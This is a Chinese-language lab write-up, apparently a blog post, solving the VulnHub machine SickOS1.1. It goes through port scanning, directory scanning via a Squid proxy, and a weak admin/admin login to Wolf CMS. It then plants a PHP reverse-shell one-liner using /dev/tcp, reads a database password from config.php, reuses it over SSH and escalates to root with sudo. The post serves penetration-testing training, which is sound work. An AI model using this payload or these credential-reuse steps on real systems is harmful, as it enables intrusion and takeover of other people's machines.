红队打靶:SickOS1.1详细打靶思路(vulnhub)

目录

写在开头

第一步:主机发现和端口扫描

第二步 squid代理分析

第三步:web渗透

第四步:提权

总结与思考

写在开头

本篇博客还是根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。打靶过程涉及到关于http代理的知识点,以及如何使用代理进行网站目录扫描。完整打靶思路详见:

「红队笔记」靶机精讲:SickOS1.1 - 穿越Squid代理的CMS渗透_哔哩哔哩_bilibili

本次针对的靶机是vulnhub中的SickOS1.1,这个靶机开放一个http代理服务squid 3.1.19,拿到root权限的思路有两种,本篇博客先详述其中一种:squid代理分析+web渗透cms后台。后一种利用shellshock漏洞的方法将在下一篇博客进行详述

本文打靶的靶机是vulnhub上的,链接见

SickOs: 1.1 ~ VulnHub

靶机下载链接见:

https://download.vulnhub.com/sickos/sick0s1.1.7z

下载好之后,用vmware打开即可,将网络适配器设置为NAT模式,否则可能在主机发现模块找不到靶机ip 

靶机打开之后就是一个黑色的登录界面,我们并不知道登录的用户名和密码。

第一步:主机发现和端口扫描

 这一步大部分靶机思路都相同,详见前两篇打靶博客。查看kali的ip(命令是ip a),是192.168.200.131,所在网段是192.168.200.0/24,于是扫描此网段:

nmap -sn 192.168.200.0/24

 靶机上线前后,进行两次网段扫描,发现上线的靶机ip是192.168.200.141,接下来对这个ip进行端口扫描。(--min-rate 10000表示以最小速率10000扫描,-p-表示扫描所有端口)

nmap --min-rate 10000 -p- 192.168.200.141

 发现了三个端口,开放的22,3128和关闭的8080 。我们再用tcp扫描一下这三个端口。(-sT用TCP扫描,-sV查看服务版本,-O查看操作系统版本,-p后面添加端口号)

nmap -sT -sV -O -p22,3128,8080 192.168.200.141

 发现3128开放的服务是一个http代理,版本是3.1.19。8080端口的服务也是http代理,但是显示已经关闭了。

 再用UDP扫描一下这三个端口,保证不会漏掉攻击面:

nmap -sU -p22,3128,8080 192.168.200.141

 很遗憾,一无所获。再用nmap自带的漏洞扫描脚本试试(--script=vuln)。

nmap --script=vuln -p22,3128,8080 192.168.200.141

 很遗憾,依旧是啥也看不出来。

第二步 squid代理分析

在第一步的端口扫描中,我们一共发现了三个端口,远程连接服务SSH的22端口,貌似是作为HTTP代理的3128端口,以及关闭的8080web端口。那我们应该从哪里入手呢?22端口应该是渗透的最后一步,我们不知道密码的情况下并没有什么优雅的渗透方式,而常见的web服务的80,8080端口也没有开放 ,我们试着浏览器访问靶机ip,意料之中,什么也看不到,再试试访问靶机ip:8080,依旧提示无法连接,如下图:

 刚刚端口扫描还有一个3128端口,这个端口我并不熟悉,至于其开放的服务squid我也不知道是啥,浏览器访问靶机ip:3128看看有没有什么信息,结果如下图:

 结果还不错,至少有页面,同时在页面底部的banner也显示了服务的版本信息(squid/3.1.19),和之前nmap扫描出的结果一致。再看看这个报错的ERROR页面,其实也没有更多信息了,页面中唯一的链接位置webmaster是用于发送邮件的,我们先不考虑。那我们就google搜一下squid这个服务是干啥的。注意一定要连带版本号一起搜索,要不然结果肯定是squid这个词的本意(鱿鱼)。

 大概可以搜到,这个服务是用作代理服务器的。3128就是代理服务器的端口。其他的细节咱也先不关注了。接下来进入我们web渗透的常规路径,对靶机ip进行目录扫描,看看会不会有结果。

dirb http://192.168.200.141

 直接在dirb后面添加靶机地址是无法扫描的,这个脚本都没跑起来。不够也正常,毕竟web相关的端口80,8080都没有对外开放。那再扫一下3128端口下面有没有信息:

dirb http://192.168.200.141:3128 

 这回终于能扫了,不过依旧是一无所获。那刚刚我们知道squid是代理服务器,我们试一试用dirb扫描的时候设置代理是192.168.200.141:3128,并对192.168.200.141进行扫描。说来参考,这个命令我也没用过,于是先查看帮助,输入dirb,可以发现有一个-p选项,后接代理ip:端口,即可添加代理服务器。

 那么用dirb使用代理服务器192.168.200.141:3128,对192.168.200.141进行扫描的指令如下:

dirb http://192.168.200.141 -p http://192.168.200.141:3128

 非常nice,这回扫描有结果了!重点关注其中状态码CODE:200的路径。接下来就应该是用浏览器访问这些路径试试了。

第三步:web渗透

 刚才我们浏览器直接访问192.168.200.141,没有任何回显,这是因为没有设置代理。我们打开浏览器,设置=>搜索代理proxy=>选择手工配置代理=>填入代理ip(即靶机ip)和端口(3128)

 设置手工配置代理,如下图:

 我这里的浏览器是kali自带的firefox浏览器,读者的浏览器如果不同,自己设置代理的配置即可。配置完成之后点击OK,再访问靶机ip192.168.200.141,就能看到页面回显了,如下图:

 结果这个界面就这样,F12看了一下,也啥也没有。至于这个BLEHHH!!!是啥意思,我们google搜索一下,发现就是个俚语,表示强烈的语气,每太大意思。

 那只能回到刚刚的dirb目录扫描结果,挨个寻找突破点。

 经过尝试发现.bash_history是一个空页面,index和index.php都是刚才的BLEHHH!!!页面,再看robots和robots,都是如下的界面:

 这个页面暴露了有个目录名为/wolfcms。那么我们浏览器访问靶机ip//wolfcms试试看,发现还真有结果:

 明显这个页面是一个名为wolfcms的内容管理系统,可以在页面的底部看到wolf cms的字样。同时我们在这个页面随便点点,感觉这个cms部署之后,好像还没有进行太多的使用,Articles模块也就两篇测试的文章,也没有实质性的内容。同时注意到点击Articles后,url路径变为了/wolfcms/?articles.html,如下图:

 估计这应该是个用户的前台界面,并不是cms后台的管理界面。因此我们的思路就是,寻找哪里可以进入这个cms的管理后台,看看有啥可以利用的点。已经知道这个cms名为wolfcms,直接google搜索wolfcms的管理后台路径,搜索结果如下图:

 谷歌搜索显示发现wolf cms的管理后台在wolfcms/?/admin路径下,结合之前Articles界面的url也包含一个? 很有可能就是这个路径。浏览器访问靶机ip192.168.200.141/wolfcms/?/admin,果然,出现了如下的登录界面。

 这应该就是这个cms的登录后台,只不过需要用户名和密码。基本上就是几个思路:弱口令或默认密码/爆破/渗透寻找泄露的信息。由于先前的网页目录扫描并没有暴露密码相关的内容,结合先前看到的前台的界面,感觉这个cms部署之后并没有太多的信息,因此很可能这个cms部署之后就没有修改配置,没有修改默认密码。总之经过谷歌搜索wolfcms default admin password,虽然没找到默认密码,但我们可以尝试以下弱口令,Username:admin/administrator/root  Password:admin/password/passwd/123456等等。很容易就尝试出结果,登录的用户名和密码都是admin,登录之后的管理界面如图:

 这里插一段题外话,虽然使用登录进来了,还是感觉略有碰巧的成分在。红队笔记大佬说到,其实也不是单纯碰运气,而是观察到这个wolfcms部署之后并没有太多的信息,很有可能部署之后就没有修改过默认配置,因此密码也可能是默认的弱口令。在实际渗透中,遇到这种不修改默认密码的情况也是很常见的。这个逻辑我感觉也很有道理。就是说像上一个靶机JARBAS,寻找cms的登录密码是采用了寻找敏感信息泄露的方法(详见上一篇博客JARBAS详细打靶过程)。此处我们还没有找到登录凭据泄露的地方,那到底是该继续寻找还是放弃然后去尝试弱口令呢,感觉确实有些依靠经验了。

在登录wolfcms后台之后随便点点,发现有很多代码执行和文件上传的位置,比如Home Page里面就可以填写php代码,如下图:

还有articles中也有php代码。我们可以在这些地方添加我们的payload,说不定就会执行。

 在files中还有可以进行文件上传的位置。我们也可以进行webshell上传的尝试等。

 我们的目标是获取shell,因此我们可以添加一句话php代码,用于反弹shell到kali。我们在kali中另起一个终端,nc监听端口1234,用于一会接收反弹shell。

nc -lvnp 1234

 然后在刚才的article页面输入反弹shell的一句话php代码,代码如下(我kali的ip是192.168.200.131,刚才开启nc监听的端口是1234,读者可根据自己的情况修改):

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.200.131/1234 0>&1'"); ?>

 添加后点击下方的Save and Close保存。

 保存之后会回到初始页面,提示成功保存,如下图中绿色矩形的提示:

 保存之后,我们返回刚才的kali监听终端,发现还没拿到Shell,那可能是我们只是保存了代码,并没有执行,我们点击articles右侧的放大镜,就会进行页面的部署,也就成功执行了代码:

 点击放大镜之后会自动跳转界面192.168.200.141/wolfcms/?articles.html,这是个空白界面。

 此时我们再查看刚才的监听端口,发现成功拿到了shell,这个shell是www-data的

我们可以ip a查看网卡信息,果然是靶机的地址,uname –a查看操作系统版本:

 第四步:提权

 拿到初始立足点,即www-data的权限后,我们应该进行提权,最终以拿到root权限为目标。首先先看看自己是什么权限,命令为sudo –l 然而很遗憾看不到啥,应该是权限很低。

 我们看看当前目录有啥信息:

ls –liah

 当前目录的文件还挺多,同时许多文件的权限都是777,非常nice,其中有个配置文件config.php,估计会有许多配置信息,我们看一看:

cat config.php

这个界面配置信息挺多的。给出了数据库的配置信息,用户名root,密码john@123

可是之前端口扫描,数据库3306端口并未被扫描出来。管他呢,我们先把这个密码记下来。再看看/etc/passwd ,说不定可以看到一些配置信息:

cat /etc/passwd

成功访问了!那能不能看/etc/shadow呢?很遗憾,权限不够:

 还是回到刚才的passwd中,有几个账号需要关注,给了/bin/bash环境的只有root和sickos,我们也看到了此时的用户www-data,现在我们知道数据库的密码是john@123,说不定这也是这几个账户的密码呢。我们ssh远程登录试试。最后发现是sickos的密码。ssh远程登录sickos账号:

ssh sickos@192.168.200.141 

 输入密码是john@123

 此时我们成功拿到了账号sickos的权限,再运行sudo -l查看此时自己的权限,需要输入密码john@123 发现权限已经是三个ALL的最高权限了。

sudo -l

 既然已经具有ALL权限,直接运行sudo /bin/bash获取root的shell,如下图:

sudo /bin/bash

 当前目录啥也没有,估计flag在/root目录下,果然找到了。

 至此打靶完成。

总结与思考

这个靶机不算复杂,还是总结一下打靶的全过程和思路,如下:

1.主机发现和端口扫描,发现开放了远程连接SSH的22端口和用于代理服务器的3128端口。

2.综合考虑还是从web入手,但是直接访问没有信息,浏览器访问靶机3128端口可看到服务名版本为squid 3.1.19,谷歌搜索这是个啥,发现是个代理服务器。因此进行目录扫描时设置代理服务器,成功扫出来一些路径。然后浏览器设置代理访问,找到了wolfcms的页面。

3.寻找wolfcms的后台登录界面,Google搜索找到了路径,然后找到了登录界面,弱口令登录成功,寻找后台代码执行和文件上传的位置。

4.构造反弹shell的命令,放置再wolfcms中的Articles界面,保存。在kali中开启nc监听,并在wolfcms中触发命令执行。成功拿到了www-data的shell。

5.尝试提权,查找凭据敏感信息。查看www-data的权限,发现需要密码,我们不知,尝试查看当前目录,发现有一个config.php,里面有数据库的账号和密码,密码为join@123 。

6.查看/etc/passwd 发现了sickos这个账户拥有/bin/bash环境,很可能是个有效用户。猜测数据库和ssh登录账户公用相同的密码,成功ssh登录了sickos的账户。

7.提权,发现已经是三个ALL的权限,直接运行sudo /bin/bash即可拿到最高权限。

一些思考和疑惑的点:

1.登录wolfcms后台的时候,用弱口令admin就成功登录了,我还是感觉这优点碰运气。

2.最后提权的时候,配置文件泄露了数据库的密码,而这个密码又恰巧就是用户sickos的密码,感觉也有点凑巧。

不够据红队笔记大佬讲,渗透过程就是要做很多尝试,有些时候看似是偶然,实际发生的概论也不低,这是因为可能运维人员图省事或者配置没来得及修改。也启发我们,不要使用默认密码和弱口令,不要把数据库密码也作为用户密码。

 这篇打靶就完成了,不过这个靶场还有其他的渗透思路,在我的下一篇文章中,将采用shellshock漏洞对sickos靶机进行渗透,敬请期待。

如果读者觉得我写的总结不错的话,恳请点赞多多支持。有针对靶场及漏洞的相关问题也可以在评论区指出,我一定知无不言。

  • 3
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值